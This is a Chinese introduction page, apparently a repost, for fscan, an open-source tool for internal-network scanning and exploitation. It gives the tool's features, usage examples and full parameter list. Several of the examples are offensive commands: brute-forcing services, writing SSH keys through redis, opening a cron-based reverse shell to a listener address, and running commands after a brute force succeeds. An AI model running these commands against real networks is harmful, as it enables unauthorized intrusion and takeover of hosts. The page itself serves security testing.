简介

fscan 是一个内网综合扫描工具,方便一键自动化、全方位漏洞扫描。

它支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。

源码链接:https://github.com/shadow1ng/fscan

主要功能

1.信息搜集:

  • 存活探测(icmp)
  • 端口扫描

2.爆破功能:

  • 各类服务爆破(ssh、smb等)
  • 数据库密码爆破(mysql、mssql、redis、psql等)

3.系统信息、漏洞扫描:

  • 获取目标网卡信息
  • 高危漏洞扫描(ms17010等)

4.Web探测功能:

  • webtitle探测
  • web指纹识别(常见cms、oa框架等)
  • web漏洞扫描(weblogic、st2等,支持xray的poc)

5.漏洞利用:

  • redis写公钥或写计划任务
  • ssh命令执行

6.其他功能:

  • 文件保存

usege

简单用法

fscan.exe -h 192.168.1.1/24  (默认使用全部模块)
fscan.exe -h 192.168.1.1/16  (B段扫描)  

其他用法

fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8  (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt  (以文件导入)  

编译命令

go build -ldflags="-s -w " -trimpath  

完整参数

-Num int  poc rate (default 20)  -c string  exec command (ssh)  -cookie string  set poc cookie  -debug  debug mode will print more error info  -domain string  smb domain  -h string  IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12  -hf string  host file, -hs ip.txt  -m string  Select scan type ,as: -m ssh (default "all")  -no  not to save output log  -nopoc  not to scan web vul  -np  not to ping  -o string  Outputfile (default "result.txt")  -p string  Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9200,11211,270179098,9448,8888,82,8858,1081,8879,21502,9097,8088,8090,8200,91,1080,889,8834,8011,9986,9043,9988,7080,10000,9089,8028,9999,8001,89,8086,8244,9000,2008,8080,7000,8030,8983,8096,8288,18080,8020,8848,808,8099,6868,18088,10004,8443,8042,7008,8161,7001,1082,8095,8087,8880,9096,7074,8044,8048,9087,10008,2020,8003,8069,20000,7688,1010,8092,8484,6648,9100,21501,8009,8360,9060,85,99,8000,9085,9998,8172,8899,9084,9010,9082,10010,7005,12018,87,7004,18004,8098,18098,8002,3505,8018,3000,9094,83,8108,1118,8016,20720,90,8046,9443,8091,7002,8868,8010,18082,8222,7088,8448,18090,3008,12443,9001,9093,7003,8101,14000,7687,8094,9002,8082,9081,8300,9086,8081,8089,8006,443,7007,7777,1888,9090,9095,81,1000,18002,8800,84,9088,7071,7070,8038,9091,8258,9008,9083,16080,88,8085,801,5555,7680,800,8180,9800,10002,18000,18008,98,28018,86,9092,8881,8100,8012,8084,8989,6080,7078,18001,8093,8053,8070,8280,880,92,9099,8181,9981,8060,8004,8083,10001,8097,21000,80,7200,888,7890,3128,8838,8008,8118,9080,2100,7180,9200")  -ping  using ping replace icmp  -pocname string  use the pocs these contain pocname, -pocname weblogic  -proxy string  set poc proxy, -proxy http://127.0.0.1:8080  -pwd string  password  -pwdf string  password file  -rf string  redis file to write sshkey file (as: -rf id_rsa.pub)  -rs string  redis shell to write cron file (as: -rs 192.168.1.1:6666)  -t int  Thread nums (default 600)  -time int  Set timeout (default 3)  -u string  url  -uf string  urlfile  -user string  username  -userf string  username file  -wt int  Set web timeout (default 5)  

运行截图

fscan.exe -h 192.168.x.x  (全功能、ms17010、读取网卡信息)

fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)

fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)

fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc

这个项目的开发者参考的开源项目有这些:

  • https://github.com/Adminisme/ServerScan
  • https://github.com/netxfly/x-crack
  • https://github.com/hack2fun/Gscan
  • https://github.com/k8gege/LadonGo
  • https://github.com/jjf012/gopoc

开源前哨 日常分享热门、有趣和实用的开源项目。参与维护 10万+ Star 的开源技术资源库,包括:Python、Java、C/C++、Go、JS、CSS、Node.js、PHP、.NET 等。

fscan:一键自动化、全方位漏洞扫描的开源工具相关推荐

  1. WEB漏洞扫描的开源工具

    很多受欢迎的网站都曾遭到过黑客入侵而蒙受经济损失,web 漏洞扫描器是一种软件程序,可在 Web 应用程序上执行自动黑盒测试并识别安全漏洞,扫描程序不访问源代码,只执行功能测试并尝试查找安全漏洞.在这 ...

  2. 渗透工具-fscan内网安全漏洞扫描

    fscan内网安全漏洞扫描 介绍 主要功能 ubuntu 安装 使用命令 介绍 快捷.简单的安全漏洞扫描工具fscan https://github.com/shadow1ng/fscan fscan ...

  3. web 漏洞扫描和验证工具:Vulmap使用

    文章目录 项目概述 项目简介 项目事项表 漏洞探测使用 主要参数说明 项目试运行 项目概述 项目简介 Vulmap 是一款 web 漏洞扫描和验证工具, 可对 webapps 进行漏洞扫描, 并且具备 ...

  4. 一款功能强大的Web漏洞扫描和验证工具(Vulmap)

    一款功能强大的Web漏洞扫描和验证工具(Vulmap) 文章目录 一款功能强大的Web漏洞扫描和验证工具(Vulmap) 前言 一.Vulmap 二.工具安装 三.工具选项 四.工具使用样例 五.支持 ...

  5. xray 被动_长亭xray:一款自动化Web漏洞扫描神器(免费社区版)

    xray简介 xray (https://github.com/chaitin/xray) 是从长亭洞鉴核心引擎中提取出的社区版漏洞扫描神器,支持主动.被动多种扫描方式,自备盲打平台.可以灵活定义 P ...

  6. 几款Linux系统漏洞扫描、评估工具简介

    一.Nmap Nmap 是一种常用工具,可用于判定网络的布局.我们可以在网络上使用 Nmap 来查找主机系统以及打开这些系统的端口. 1. 安装Nmap. [root@GeekDevOps ~]# y ...

  7. 系统漏洞扫描原理及工具 - 安全工具篇

    漏洞扫描器对漏洞进行扫描,以验证具体目标是否存在对应的具体漏洞.但是也存在错误扫描,需要对扫描结果进行漏洞验证. 扫描器的原理大致相同都是通过发送对应的验证数据到目标具体服务进行验证.当收到目标返回的 ...

  8. 安防工具-acunetix-web网站漏洞扫描和发现工具-2022040版本的使用及防御方抓包情况

    acunetix 20220401版本:AWVS14.7.220401065提取码:t3u7 内含激活方法的pdf,以下内容由该版本软件产生 关于软件 Acunetix是一款网络漏洞扫描软件,它可以检 ...

  9. ​​​​​​​自动化批量漏洞扫描脚本定制

    github上找到一款并发框架[POC-T](https://github.com/Xyntax/POC-T)可以优美的进行并发操作,上面所述的内容大多可以用插件联合POC-T进行. 因为POC-T不 ...

最新文章

  1. 百年通信史:落后西方半世纪的中国,用 20 年绝地反杀! | 文末送福利
  2. 你问我答,准备面试需要做哪些技术储备,面试官更加关心什么方面的技术点?...
  3. Mybatis源码研究6:元数据(metadata)
  4. linux(fedora) 下dvwa 建筑环境
  5. 面象对象设计6大原则之四:接口隔离原则
  6. 【WebRTC---入门篇】(七)MediaStream
  7. pandas——pd.DataFrame.iloc()
  8. js 视频插件zyMedia下载和使用方法
  9. 2020版影视制作学习路线图(含大纲+视频+工具+书籍+面试)
  10. 西门子step7安装注册表删除_西门子的软件如何卸载干净
  11. 路由器自动连接服务器无响应,路由器WAN口设置已断开(服务器无响应)怎么办?...
  12. Deepin - 装机必备软件记录
  13. 单片机传输信息到服务器,单片机传数据到云服务器
  14. 2020(第十六届)北京汽车展览会-以Tesla为参考标的分析
  15. 突发!继22岁拼多多女员工猝死后,又一悲剧:拼多多员工家中跳楼自杀!公司紧急通告!...
  16. 产品思考 - 天天领现金 (论毅力的重要性)
  17. vue的methods属性的方法中出现回调函数,在回调函数内部获取data中的数据
  18. 新手看完学会,5分钟教你制作吸引人的片头片尾,操作简单
  19. 八一农垦计算机专业咋样,黑龙江八一农垦大学(专业学位)计算机技术考研难吗...
  20. 恐怖片跟踪者电影解说

热门文章

  1. 机器学习实战:逻辑回归(2)-从疝气病症预测病马的死亡率
  2. 《操作系统》模块五:内存管理
  3. 中创 -- 如何安装、启动、停止、卸载中创中间件
  4. android app开发 拍照存储目录,关于Android App存储目录的理解
  5. 由中缀表达式求后缀、前缀表达式cpp代码
  6. 得力助手 消防员的 消防机器人_消防机器人市场如今的发展现状 是否能成为消防员的得力助手...
  7. Unity【DateTime】- 如何为软件添加使用有效期
  8. 将 AirPods 连接到 MacBook Pro上使用怎么做?
  9. 最新最全-中文生物医学命名实体识别最新研究论文、资源、数据集、性能整理分享
  10. CSS 魔法 | 超强的文本超出提示效果